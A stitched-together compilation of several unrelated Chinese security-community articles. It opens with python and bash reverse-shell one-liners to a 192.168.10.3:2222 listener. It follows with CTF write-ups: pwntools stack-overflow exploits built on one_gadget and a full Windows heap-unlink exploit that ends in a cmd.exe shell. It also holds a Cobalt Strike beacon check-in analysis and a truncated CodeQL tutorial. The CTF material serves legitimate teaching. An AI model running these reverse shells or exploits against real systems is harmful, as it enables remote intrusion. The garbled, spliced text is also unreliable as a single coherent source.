python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.10.3',2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
bash反向shell
攻击机器：
nc -lvp 2222
目标机器：
bash -i >& /dev/tcp/192.168.10.3/2222 0>&1 | 社区文章 |
## 问题来源
在有 `one_gadget` 之前,我们一般都是通过常规 rop 的方式 getshell .有了它之后,知道 libc 偏移就能够通过它的地址一步
getshell
.详细介绍参见[此处](https://xz.aliyun.com/t/2720),我们就可以把更多精力花在利用漏洞上边.但是在做栈溢出时经常遇到
one_gadget 的佛系 bug ,究其原因还是 `constraints` 的锅,每次执行都是一次`execve("/bin/sh",?????,
environ)`未知考验,这时候就有必要去根据限制条件来布置我们的环境了
注:以下程序均为 64 位.关于 32 位程序的可以参见上述文章自行研究
## 溢出字节数较大
> 突破栈限制条件
以西湖论剑的 story 举例,一个简单的格式化字符串和栈溢出漏洞(就不具体分析漏洞了),通过前者可以泄漏 canary 和 libc
基址,后者就是一个溢出劫持 rop 了.似乎已经很简单了,能不能再简单??这时候 one_gedget 就有用了,直接把 ret 改成 one_gedget
即可,我们来看一下这个 exp
from pwn import *
p= process('story')
libc = ELF('./libc-2.23.so')
p.sendline("%15$p%25$p")
# leak canary and libc_addr
p.recvuntil("0x")
canary = int(p.recvuntil("0x")[:-2],16)
addr_offset = int(p.recvuntil('\n')[:-1],16)
libc_base = addr_offset - libc.symbols['__libc_start_main']-240
one = libc_base+0x4526a
p.recvuntil('story')
p.sendline('1024')
# story_len = 1024
p.recvuntil('story')
payload = '\x00'*0x88+p64(canary)+p64(0)+p64(one)
# buf_len = 0x88
p.sendline(payload)
p.interactive()
其中`one = libc_base+0x4526a`的`0x4526a`就是用 one_gadget 找到的
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
但是最终还是因为条件的限制后三个都成功不了(很真实)
[*] Switching to interactive mode
:
[*] Process './story' stopped with exit code 127 (pid 17986)
1�I��^H\x89�H���PTI���
@: 0: Can't open
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
这时候就要想一下我们还能控制什么,事实上这题很巧,能利用的缓冲区很大
if ( v1 > 128 )
v1 = 1024LL;
所以可以搞点骚操作,比如可以直接向最后的 buf 多加点东西,如填入 `payload =
0x88*'\x00'+p64(canary)+p64(0)+p64(one)+p64(0)*100` ,加了`p64(0)*100`,毕竟不用白不用不是.
这绝对满足上述的栈限制的所有条件,基本上是一种栈条件通杀的方式.当然这种方式很局限,比如说控制不到栈,或者限制条件是寄存器,这时候就要看下边的技巧了
## 利用 leave
> 结合 bss 端精准打击
我们自己写一段程序进行测试
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char x[500]={0};
int main(int argc, char** argv) {
char buf[128];
char a[100];
scanf("%s",a);
printf(a);
printf("done\n");
read(0, buf, 256);
printf("ok\n");
read(0, x, 20);
write(1, "Hello, World\n", 13);
}
这个是比较符合我的想法的,当然可以用上边的方法,因为这个程序把 read 的字节设置的很大(这样便于一个程序贯穿全篇,不用反复修改).用 gcc
编译(`gcc -fno-stack-protector -o test test.c`),我在这里把 canary
关了,大家可以自行取舍.一个格式化字符串用于泄漏,一个溢出用于控制程序流程.但是这个在本机打的话 one_gadget 不经过修改也能用, exp1 如下
from pwn import *
p= process('./test')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"
p.sendline("%39$p")
p.recvuntil("0x")
addr = int(p.recvuntil("done\n")[:-5],16)
libc_base = addr - libc.symbols['__libc_start_main']-0xf0
info("libc:0x%x",libc_base)
one = libc_base+0xf1147
pay = 136*'\x00'+p64(one)
p.send(pay)
p.recvuntil('ok\n')
p.sendline('123')
p.recv()
p.interactive()
其中`__libc_start_main+240`偏移是 39 .但我觉得还是不够优雅,能不能不抱侥幸心理,必定成功?? exp2 如下
from pwn import *
p= process('./test')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"
p.sendline("%39$p")
p.recvuntil("0x")
addr = int(p.recvuntil("done\n")[:-5],16)
libc_base = addr - libc.symbols['__libc_start_main']-0xf0
info("libc:0x%x",libc_base)
one = libc_base+0xf1147
pay = (136-8)*'\x00'+p64(0x601080)+p64(0x400702)
p.send(pay)
p.recvuntil('ok\n')
payload = p64(one)*2
p.sendline(payload)
p.recv()
p.interactive()
可以看到我在 pay 构造上把之前一直被我们忽视的 ebp 改成了 bss 端,然后的`p64(0x400702)`是 leave 地址
.text:0000000000400702 leave
.text:0000000000400703 retn
大家应该了然了,这就是一个常规的栈迁移,迁移到 bss 后我们有 20 个字节可控,已经够了,很暴力填入两个 one_gadget 就完事
当然大家应该都知道,这个的关键就在于程序到底开没开 PIE 了,没开一切好说,开了就只能泄漏(泄漏 bss 地址可还行,我没见过),没有泄漏就得另某出路了
## rax == null
回到一开始的问题,我们的限制条件只有两种,一个是 rax 一个就是栈,那控制 rax 能好用吗??事实上直接去控制 rax
的值是很难做到的,在看了很多程序的汇编后我发现真正用 rax 的虽然很多很多,但都用不了,不是离 ret 太远就是只能控制 eax 写为 0
,难以做到两全其美.这时候我们换个思路,根据返回值下手,就比如之前说的自己写的这个程序,在
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
就是好用的, exp3 如下
from pwn import *
p= process('./test')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"
p.sendline("%39$p")
p.recvuntil("0x")
addr = int(p.recvuntil("done\n")[:-5],16)
libc_base = addr - libc.symbols['__libc_start_main']-0xf0
info("libc:0x%x",libc_base)
one = libc_base+0x45216
pay = 136*'\x00'+p64(one)
p.send(pay)
p.recvuntil('ok\n')
p.sendline('123')
p.recv()
p.interactive()
原因就是 write 返回值可控,之后程序很舒服的做了一个
.text:00000000004006F8 call _write
.text:00000000004006FD mov eax, 0
.text:0000000000400702 leave
.text:0000000000400703 retn
操作,让我们获得了 shell ,但是其他的程序就不是如此了.例如之前所说的 story ,这个程序关于 rax 最后的调用关系如下
.text:0000000000400A21 lea rax, [rbp+s]
把 `rbp+s` 给了 rax ,之后就没有对其的修改了,这 one_gadget 能用就太假了.
事实上别的 libc 版本还有别的寄存器限制,如 rcx 等等.所以只能想一些方法争取主动的变换寄存器的值,确实难度很大.
## 万能 gadget
> 最强武器
既然控制寄存器很恶心那就把重点放在栈上.
不是还有一个万能 gadget 吗,尝试进行 pop 行不行(应该是最舒服的思路)
.text:0000000000400766 add rsp, 8
.text:000000000040076A pop rbx
.text:000000000040076B pop rbp
.text:000000000040076C pop r12
.text:000000000040076E pop r13
.text:0000000000400770 pop r14
.text:0000000000400772 pop r15
.text:0000000000400774 retn
exp4 如下
from pwn import *
p= process('./test')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"
p.sendline("%39$p")
p.recvuntil("0x")
addr = int(p.recvuntil("done\n")[:-5],16)
libc_base = addr - libc.symbols['__libc_start_main']-0xf0
info("libc:0x%x",libc_base)
one = libc_base+0xf02a4
pay = 136*'\x00'+p64(0x400766)+p64(0)*7+p64(one)
p.send(pay)
p.recvuntil('ok\n')
p.sendline('123')
p.recv()
p.interactive()
可以看到,调整起来很灵活,不用必须 pop 7 个,溢出字节数目可观的话基本都能实现 getshell
,毕竟`p64(0)*7`确实很占宝贵的字节数目,导致这个版本 libc 还没有第一种效率高,一种走弯路的感觉
至少我能想到的思路就这些,欢迎大家讨论交流
## 总结
这篇主要是栈的研究,而堆也有一些很骚的思路,比如说:改 malloc_hook 为 one_gadget 不好用是常有的事,这时候可以利用
realloc_hook 去微微(因为 pop push
数量受限)调整栈情况,具体可参阅[师傅帖子](https://bbs.pediy.com/thread-246786.htm), tql
等等
这篇文章旨在开拓大家的思路,不被条件限制住.毕竟真的不能用 one_gadget 的时候不还有 rop 保底的吗,2333 | 社区文章 |
在上一篇讲解 C2Profile 解析的时候，已经提到过如何断入到真正的 beacon.dll 当中，并且也清楚了它执行时的调用顺序，Beacon
上线的所有流程也都是在第二次主动调用 DLLMain 时执行的。
因为主要说明的是上线流程，功能性的暂且不提，但是中间会穿插 C2Profile 的读取操作。
# 0x01 Beacon 发送
通过导入表能够很明显的看到通信相关的函数，所以就直接在关键函数上下断
首先调用 InternetOpenA 传入了 agent
接着是 InternetConnectA 传入 IP 与端口
之后便是 HttpOpenRequestA 传入了请求类型和 URI
最后便是 HttpSendRequestA 发送请求了，很明显能看到 COOKIE 已经被加密了
接下来就需要往回跟，看它是从哪里进行加密的，最终发现，在进入功能性的 while 循环之前，就已经完成了信息收集和加密操作
这里也就顺带理一下 C2Profile 的解析，在加密之前，会先从 C2Profile 中取出一个值
回到 BeaconPayload 查一下 index 为 7 的就是 publickey，这也就说明了，在取值的时候是通过 index 来取对应内容的
然后分析一下 GetPtrValue，这里用 F5 就很不友好了，还是看汇编更容易理解一些
中间的 GetValue 也就是根据 index，取出来其中的值，并返回
整体下来的逻辑就是，根据 index 跳到对应的偏移，前八个字节用来判断类型，后八个字节是取出真正的值或地址，其他几个类型的取值也是一样的。
到这里为止，对于 C2Profile 的全部逻辑也就理清楚了，之后就可以对 BeaconEye 进行分析了。
# 0x02 TeamServer 处理
在 TeamServer 中使用了 NanoHTTPD 库来处理 HTTP 请求，并且写了一个 WebServer 类，继承了
NanoHTTPD，并在里面写了处理函数，我们就直接在这个位置下断即可
在接到流程以后，继续往下跟，会跟入 MalleableHook.serve()，它实际上调用的是 BeaconHTTP.serve()，在这里进行了解析操作
到这里也就到了真正处理的地方了，它判断了长度是否是 128 位
跟进以后，直接就进行了解密操作
直接初始化私钥，然后进行解密
随后判断了标志位 48879，然后读取长度，看是否小于 117，接着把剩余的字符返回
接着会保留前 16 个字节，然后 16-20 判断字符集
之后在获取了 Listener 的名字以后，就来初始化 BeaconEntry 了
就是不断从中间取值，所以 metadata 主要的作用就是填写 Beacon 所需要的信息
接着调用 this.getSymmetricCrypto().registerKey 方法来注册加密 Key，这里传入的 var8
就是刚开始保留的前十六个字节
会先判断当前 BeaconId 是否存在，存在的话会直接 return，如果是第一次上线的话，肯定是不存在的，然后将传进来的十六字节
sha265，前一半作为 AESKey，后一半作为 HmacSHA256Key，接着将他们与 BeaconId 做成 Map
最后就调用 sendResponse 返回信息了
# 0x03 流程图
[文章首发公众号平台](https://mp.weixin.qq.com/s/ZfzbtehT5dVAaRR0mQMYrw) | 社区文章 |
一道很经典的 win pwn ，根据出题人的意思，该题是受`WCTF`的`LazyFragmentationHeap`启发而得来的。
源程序下载：<https://github.com/Ex-Origin/ctf-writeups/tree/master/ogeekctf2019/pwn/babyheap> 。
在这里先感谢出题人`m4x`和`WCTF`的一位大佬`Angelboy`的指点。
## babyheap
源码：<https://github.com/bash-c/pwn_repo/tree/master/oGeekCTF2019_babyheap_src>。
### 漏洞点
程序流比较简单，直接就是`polish`存在堆溢出。
void polish()
{
int idx = -1;
puts("\nA little change will make a difference.\n");
puts("Which one will you polish?");
scanf_wrapper("%d", idx);
if (idx < 0 || idx >= 18)
{
puts("error");
return;
}
if (g_inuse[idx])
{
int size = 0;
puts("And what's the length this time?");
scanf_wrapper("%d", size);
puts("Then name it again : ");
read_n(g_sword[idx], size); // heap overflow
}
else
{
puts("It seems that you don't own this sword.");
}
}
### leak heap header
Windows 10 使用的是`Nt
heap`，对于使用中的堆块和free的堆块头部都会用`_HEAP->Encoding`进行异或加密，用来防止堆溢出，所以我们要先leak出free的堆块头部加密后的内容，否则我们堆溢出时会被check。
sh.recvuntil('gift : 0x')
image_base = int(sh.recvuntil('\r\n'), 16) - 0x001090
log.info('image_base: ' + hex(image_base))
for i in range(6):
add(0x58, '\n')
destroy(2)
# leak free heap header
free_heap_header = ''
while(len(free_heap_header) < 8):
head_length = len(free_heap_header)
polish(1, 0x58 + head_length, 'a' * (0x58 + head_length) + '\n')
check(1)
sh.recvuntil('a' * (0x58 + head_length))
free_heap_header += sh.recvuntil('\r\n', drop=True) + '\0'
free_heap_header = free_heap_header[:8]
# recover
polish(1, 0x60, 'a' * 0x58 + free_heap_header)
这里特别要注意的是，使用中的heap 头部和 free 的heap 头部并不相同，所以一定不能leak错了。
### Windows heap unlink
这个以前从来没有见过，和Linux的unlink差别挺大的，原理可以用下面的代码简单描述一下：
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char* ptr[0x10];
int main()
{
HANDLE heap = HeapCreate(HEAP_NO_SERIALIZE, 0x2000, 0x2000);
setbuf(stdout, NULL);
ptr[0] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
ptr[1] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
ptr[2] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
ptr[3] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
ptr[4] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
ptr[5] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
HeapFree(heap, HEAP_NO_SERIALIZE, ptr[2]);
HeapFree(heap, HEAP_NO_SERIALIZE, ptr[4]);
*(void**)(ptr[2]) = &ptr[2] - 1;
*(void**)(ptr[2] + 4) = &ptr[2];
printf("%p: %p\n", &ptr[2], ptr[2]);
HeapFree(heap, HEAP_NO_SERIALIZE, ptr[1]);
printf("%p: %p\n", &ptr[2], ptr[2]);
return 0;
}
其作用就是让`ptr[2]`指针指向自己，这个和Linux有点像。
destroy(4)
polish(1, 0x58 + 8 + 8, 'b' * 0x58 + free_heap_header + p32(ptr_addr + 4) + p32(ptr_addr + 8) + '\n')
destroy(1)
然后再用后门功能使得`unlink`后的指针可以进行编辑。
sh.sendlineafter('choice?\r\n', '1337')
sh.sendlineafter('target?\r\n', str(g_inuse_addr + 2))
polish(2, 4, p32(ptr_addr + 12) + '\n')
完成这些操作后，我们就能利用`index_2`来操作`index_3`指针的指向，实现任意地址读写。
### 泄露地址信息
这个和Linux 差不多，只不过Linux 是 got 表，而 Windows 是 iat
表。至于iat具体在哪个dll动态库里面，这个可以用IDA或者PE工具来查看。
其查询结果如下所示：
.idata:00403000 ; Imports from KERNEL32.dll
.idata:00403000 ;
.idata:00403000 ; ===========================================================================
.idata:00403000
.idata:00403000 ; Segment type: Externs
.idata:00403000 ; _idata
.idata:00403000 ; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
.idata:00403000 extrn HeapCreate:dword ; CODE XREF: .text:0040111A↑p
我们会在后面需要`ntdll`的地址，而`ntdll`并不在`babyheap`的导入表中，所以我们需要从`KERNEL32`中进行泄露。
# leak dll base addr
puts_iat = image_base + 0x0030C8 # ucrtbase.dll
Sleep_iat = image_base + 0x003008 # KERNEL32.dll
polish(2, 4, p32(puts_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
ucrtbase_addr = u32(result) - 0xb89b0
log.success('ucrtbase_addr: ' + hex(ucrtbase_addr))
polish(2, 4, p32(Sleep_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
KERNEL32_addr = u32(result) - 0x00021ab0
log.success('KERNEL32_addr: ' + hex(KERNEL32_addr))
NtCreateFile_iat = KERNEL32_addr + 0x000819bc
polish(2, 4, p32(NtCreateFile_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
ntdll_addr = u32(result) - 0x709f0
log.success('ntdll_addr: ' + hex(ntdll_addr))
### 查询peb和teb，泄露StackBase
当我么拥有了任意读写能力，该怎么控制程序流呢？
由于 Windows 的 Nt heap 似乎并没有 hook
之类的，所以我们只能利用传统的栈溢出来控制程序流，但是我们该如何获知栈地址呢，根据`Angelboy`师傅的提示，TEB中会储存栈基地址。
如下所示：
0:000> !teb
TEB at 00ffa000
ExceptionList: 010ff99c
StackBase: 01100000
StackLimit: 010fd000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 00ffa000
EnvironmentPointer: 00000000
ClientId: 000013b0 . 00002218
RpcHandle: 00000000
Tls Storage: 00ffa02c
PEB Address: 00ff7000
LastErrorValue: 0
LastStatusValue: 0
Count Owned Locks: 0
HardErrorMode: 0
对于 Windows
的程序来说，每个进程都有一个`PEB`，每个线程都有一个`TEB`，而且他们的相对偏移一般是固定的。那么我们只要知道`PEB`的地址，就可以计算出`TEB`的地址，从而泄露`StackBase`。
但是`PEB`的地址又该怎么查询呢，在`ntdll!PebLdr`附近，有一个值可以泄露出`PEB`的地址，其调试结果如下：
0:000> r $peb
$peb=00ff7000
0:000> dd ntdll!PebLdr
76f90c40 00000030 00000001 00000000 01352be8
76f90c50 01353c38 01352bf0 01353c40 01352b10
76f90c60 01353c48 00000000 00000000 00000000
76f90c70 00000002 00000000 00000000 00000000
76f90c80 00000000 00000000 00000000 00000000
76f90c90 00000000 00000000 00000000 00000000
76f90ca0 00000000 00000000 00000000 00000000
76f90cb0 00000000 00000000 00000000 00000000
0:000> dd 76f90c00
76f90c00 00000000 00000000 00000080 00ff721c
76f90c10 00000000 01352b00 76e70000 00000000
76f90c20 01350000 00000000 00000000 00000000
76f90c30 00000000 00000000 00000000 00000000
76f90c40 00000030 00000001 00000000 01352be8
76f90c50 01353c38 01352bf0 01353c40 01352b10
76f90c60 01353c48 00000000 00000000 00000000
76f90c70 00000002 00000000 00000000 00000000
从上面可以看到`ntdll!PebLdr`向上偏移`52`字节的地方存储着`PEB`地址的信息，而且这个地址信息和`PEB`地址的偏移总是`0x21c`，所以我们可以利用该地址信息来计算出`PEB`的地址。
ntdll_PedLdr_addr = ntdll_addr + 0x120c40
log.success('ntdll_PedLdr_addr: ' + hex(ntdll_PedLdr_addr))
polish(2, 4, p32(ntdll_PedLdr_addr - 52) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
Peb_addr = u32(result.ljust(4, '\0')) - 0x21c
log.success('Peb_addr: ' + hex(Peb_addr))
又因为`PEB`和`TEB`的地址的偏移是固定的，我们可以计算出`babyheap`线程的`TEB`的地址然后泄露出该线程的栈基地址。
其偏移结果如下：
0:000> r $peb
$peb=00ff7000
0:000> r $teb
$teb=00ffa000
查看之前，要先把线程调成`babyheap`的，通过查看计算出他们的偏移是`0x3000`。
对应的脚本如下：
# leak StackBase
babyheap_Teb_addr = Peb_addr + 0x3000
log.success('babyheap_Teb_addr: ' + hex(babyheap_Teb_addr))
result = ''
while(len(result) < 4):
result_length = len(result)
polish(2, 4, p32(babyheap_Teb_addr + 4 + result_length) + '\n')
check(3)
sh.recvuntil('Show : ')
result += sh.recvuntil('\r\n', drop=True) + '\0'
StackBase = u32(result[:4])
log.success('StackBase: ' + hex(StackBase))
### 寻找main_ret_addr
我们虽然知道了`StackBase`，但是由于受到`ASLR`影响，main函数的返回地址对于`StackBase`来说并不是固定偏移的，这点和`Linux`是一样的，那么我们该怎么查找`main_ret_addr`的返回地址呢？
由于程序的地址信息我们都已经泄露出来了，所以我们根据偏移是可以计算出`main_ret_addr`这个地址里储存的内容的，而且我们原本就有任意地址读的能力，那么我们可以直接读取栈，直到找到`main_ret_addr`这个地址里储存的内容，这样我们便可以确定其就是`main_ret_addr`。
>
> 这里提一下我犯得一个错误，开始时我尝试将整个栈一次性全部读取下来，但是不仅花的时间长，而且还总是crash，最后我想了一个办法，由于`main_ret_addr`地址是低二位对齐的，所我们只要读取地址低二位为0的地址就可以了，而且一定要从后往前读。
在寻找之前，我们要先把`g_inuse`全部设置为1，以加快查找速度。
polish(2, 4, p32(g_inuse_addr + 3) + '\n')
polish(3, 4, p8(1) * 4 + '\n')
main_ret_content = image_base + 0x193b
log.success('main_ret_content: ' + hex(main_ret_content))
# search stack
log.info('Start searching stack, it will take a long time.')
main_ret_addr = 0
for addr in range(StackBase - 0x1000, StackBase, 0x10)[::-1]:
if(main_ret_addr == 0):
polish(2, 0x10, p32(addr + 12) + p32(addr + 8) + p32(addr + 4) + p32(addr) + '\n')
for i in range(3, 3 + 4):
check(i)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
content = u32(result.ljust(4, '\0'))
if(content == main_ret_content):
main_ret_addr = addr - (3-(i-3)) * 4
break
log.success('main_ret_addr: ' + hex(main_ret_addr))
由于栈比较大，所以整体读取需要的时间还是比较长的，需要耐心等待，如果超时可以重新试一遍，因为`main_ret_addr`本身就是不固定的，所以读取时间或长或短。
### ROP拿shell
读到`main_ret_addr`之后就是正常的ROP了。
polish(2, 0x10, p32(main_ret_addr) + 'cmd.exe\0\n')
layout = [
ucrtbase_addr + 0x000efd80, # system
image_base + 0x21AF, # exit
ptr_addr + 4 * 4,
0,
]
payload = flat(layout)
polish(3, len(payload), payload + '\n')
sh.sendlineafter('choice?\r\n', 5)
sh.interactive()
### 完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
context.arch = 'i386'
sh = remote('192.168.3.129', 10001)
def add(size, content):
sh.sendlineafter('choice?\r\n', '1')
sh.sendlineafter('sword?\r\n', str(size))
sh.sendafter('Name it!\r\n', content)
def destroy(index):
sh.sendlineafter('choice?\r\n', '2')
sh.sendlineafter('destroy?\r\n', str(index))
def polish(index, size, content):
sh.sendlineafter('choice?\r\n', '3')
sh.sendlineafter('polish?\r\n', str(index))
sh.sendlineafter('time?\r\n', str(size))
sh.sendafter('again : \r\n', content)
def check(index):
sh.sendlineafter('choice?\r\n', '4')
sh.sendlineafter('check?\r\n', str(index))
sh.recvuntil('gift : 0x')
image_base = int(sh.recvuntil('\r\n'), 16) - 0x001090
log.info('image_base: ' + hex(image_base))
ptr_addr = image_base + 0x4370
g_inuse_addr = image_base + 0x0043BC
for i in range(6):
add(0x58, '\n')
destroy(2)
# leak free heap header
free_heap_header = ''
while(len(free_heap_header) < 8):
head_length = len(free_heap_header)
polish(1, 0x58 + head_length, 'a' * (0x58 + head_length) + '\n')
check(1)
sh.recvuntil('a' * (0x58 + head_length))
free_heap_header += sh.recvuntil('\r\n', drop=True) + '\0'
free_heap_header = free_heap_header[:8]
# recover
polish(1, 0x60, 'a' * 0x58 + free_heap_header + '\n')
#unlink
destroy(4)
polish(1, 0x58 + 8 + 8, 'b' * 0x58 + free_heap_header + p32(ptr_addr + 4) + p32(ptr_addr + 8) + '\n')
destroy(1)
sh.sendlineafter('choice?\r\n', '1337')
sh.sendlineafter('target?\r\n', str(g_inuse_addr + 2))
polish(2, 4, p32(ptr_addr + 12) + '\n')
# leak dll base addr
puts_iat = image_base + 0x0030C8 # ucrtbase.dll
Sleep_iat = image_base + 0x003008 # KERNEL32.dll
polish(2, 4, p32(puts_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
ucrtbase_addr = u32(result) - 0xb89b0
log.success('ucrtbase_addr: ' + hex(ucrtbase_addr))
polish(2, 4, p32(Sleep_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
KERNEL32_addr = u32(result) - 0x00021ab0
log.success('KERNEL32_addr: ' + hex(KERNEL32_addr))
NtCreateFile_iat = KERNEL32_addr + 0x000819bc
polish(2, 4, p32(NtCreateFile_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
ntdll_addr = u32(result) - 0x709f0
log.success('ntdll_addr: ' + hex(ntdll_addr))
# leak PEB
ntdll_PedLdr_addr = ntdll_addr + 0x120c40
log.success('ntdll_PedLdr_addr: ' + hex(ntdll_PedLdr_addr))
polish(2, 4, p32(ntdll_PedLdr_addr - 52) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
Peb_addr = u32(result.ljust(4, '\0')) - 0x21c
log.success('Peb_addr: ' + hex(Peb_addr))
# leak StackBase
babyheap_Teb_addr = Peb_addr + 0x3000
log.success('babyheap_Teb_addr: ' + hex(babyheap_Teb_addr))
result = ''
while(len(result) < 4):
result_length = len(result)
polish(2, 4, p32(babyheap_Teb_addr + 4 + result_length) + '\n')
check(3)
sh.recvuntil('Show : ')
result += sh.recvuntil('\r\n', drop=True) + '\0'
StackBase = u32(result[:4])
log.success('StackBase: ' + hex(StackBase))
# leak main_ret_addr
polish(2, 4, p32(g_inuse_addr + 3) + '\n')
polish(3, 4, p8(1) * 4 + '\n')
main_ret_content = image_base + 0x193b
log.success('main_ret_content: ' + hex(main_ret_content))
# search stack
log.info('Start searching stack, it will take a long time.')
main_ret_addr = 0
for addr in range(StackBase - 0x1000, StackBase, 0x10)[::-1]:
if(main_ret_addr == 0):
polish(2, 0x10, p32(addr + 12) + p32(addr + 8) + p32(addr + 4) + p32(addr) + '\n')
for i in range(3, 3 + 4):
check(i)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
content = u32(result.ljust(4, '\0'))
if(content == main_ret_content):
main_ret_addr = addr + (3-(i-3)) * 4
break
log.success('main_ret_addr: ' + hex(main_ret_addr))
polish(2, 0x10, p32(main_ret_addr) + 'cmd.exe\0\n')
layout = [
ucrtbase_addr + 0x000efd80, # system
image_base + 0x21AF, # exit
ptr_addr + 4 * 4,
0,
]
payload = flat(layout)
polish(3, len(payload), payload + '\n')
sh.sendlineafter('choice?\r\n', '5')
sh.interactive()
运行实例：
ex@Ex:~/ogeek2019/pwn/babyheap$ python my_exp.py
[+] Opening connection to 192.168.3.129 on port 10001: Done
[*] image_base: 0xaa0000
[+] ucrtbase_addr: 0x76970000
[+] KERNEL32_addr: 0x76280000
[+] ntdll_addr: 0x76e70000
[+] ntdll_PedLdr_addr: 0x76f90c40
[+] Peb_addr: 0x205000
[+] babyheap_Teb_addr: 0x208000
[+] StackBase: 0x500000
[+] main_ret_content: 0xaa193b
[*] Start searching stack, it will take a long time.
[+] main_ret_addr: 0x4ff830
[*] Switching to interactive mode
Microsoft Windows [Version 10.0.17763.557]
(c) 2018 Microsoft Corporation. All rights reserved.
D:\ogeek2019\babyheap>$ dir
dir
Volume in drive D is data
Volume Serial Number is 4669-C996
Directory of D:\ogeek2019\babyheap
2019-09-10 13:06 <DIR> .
2019-09-10 13:06 <DIR> ..
2019-07-30 13:59 12,288 babyheap.exe
2019-09-10 13:06 196,608 babyheap.id0
2019-09-10 13:06 49,152 babyheap.id1
2019-09-10 13:06 191 babyheap.id2
2019-09-08 15:47 264,809 babyheap.idb
2019-09-10 13:06 16,384 babyheap.nam
2019-09-10 13:06 2,177 babyheap.til
2019-07-18 17:49 649,064 kernel32.dll
2019-09-08 14:45 10,298,900 kernel32.idb
2019-07-18 17:48 1,191,728 ucrtbase.dll
2019-06-20 19:00 80,880 vcruntime140.dll
2019-08-16 15:50 17,662 winver.png
2019-08-20 21:01 49,152 win_server.exe
13 File(s) 12,828,995 bytes
2 Dir(s) 9,985,400,832 bytes free
D:\ogeek2019\babyheap>$ whoami
whoami
win10\ex | 社区文章 |
## Codeql 入门教程
codeql是一个可以对代码进行分析的引擎, 安全人员可以用它作为挖洞的辅助或者直接进行挖掘漏洞,节省进行重复操作的精力
### 安装
虽然官方提供了可以进行查询的网站 但是由于速度不快和一些c/c++项目 需要自定义编译命令来编译 实际上在网站是不能查询的
首先找一个放codeql的目录 作者用的是`/opt/codeql`
然后从[这里](https://github.com/github/codeql-cli-binaries/releases)下载后解压到目录
然后下载semmle的库
执行 `cd codeql && git clone https://github.com/Semmle/ql`
完成后 目录下应该有两个目录 `codeql ql`
接下来安装vscode插件 在插件市场直接搜索codeql即可 编写时安装量只有3k多 说明用codeql的群体暂时还不多.
### 创建数据库
使用`codeql database create` 来创建一个用于查询的数据库 `--language=python`指定语言是python
例子
`codeql database create ./codeql -s . --language=python`
在这种解释性语言上并不困难 问题在于对于c编译语言 需要用`--command=xxx`提供编译命令 虽然codeql会自动检测编译系统
但是在一些项目上不行 这也导致你编译不了的项目就用不了codeql
在vscode把创建的codeql目录添加为数据库 就可以正式准备开始查询了
### hello world
codeql语言的查询格式如下
from int i where i = 3 select i
和sql比较像 `from`定义变量 `where` 声明限制条件 `select` 选择要输出的数据
可以使用的定义只有类和函数 例子代码
// 函数
predicate Name(int i) {
i >5
}
// 类声明
class Name extend int {
// 类变量声明
int i
// 覆盖父类函数
override string func(){
}
}
导入包语法和python一致 也是`import 名字`
作为每个语言都有的惯例 运行一下以下代码吧
`select "hello world"`
### 审计使用
在这里你应该有了自己的数据库了 作者选取的是python的一个django项目 (很遗憾的是由于动态语言的特性 python的污点跟踪效果不怎么好)
codeql 支持的语言有`python` `java` `JavaScript` `c/c++` `c#` `go`
并没有安全人员最喜欢目标用的语言 php, 也不用对以后抱太大期望 以php的动态特性和开发人员动不动就全局变量或者动态字符串导入文件的做法
污点跟踪和变量分析也没法用
进行代码查询 首先要导入对应的编程语言包
import python
需要注意的是不同语言包的使用方法不一样 而且目前的文档不是很好 也没有全面的教程
作者查<https://help.semmle.com/qldoc/python> 把python改成其他语言也能进去对应的文档
codeql的python库把对象分为了几种类型分别是
`Scope` 作用域 像函数或者类
`Expr` 表达式 像 `1+1`
`Stmt` 语句 例如 `if(xxx)`
`Variable` 变量
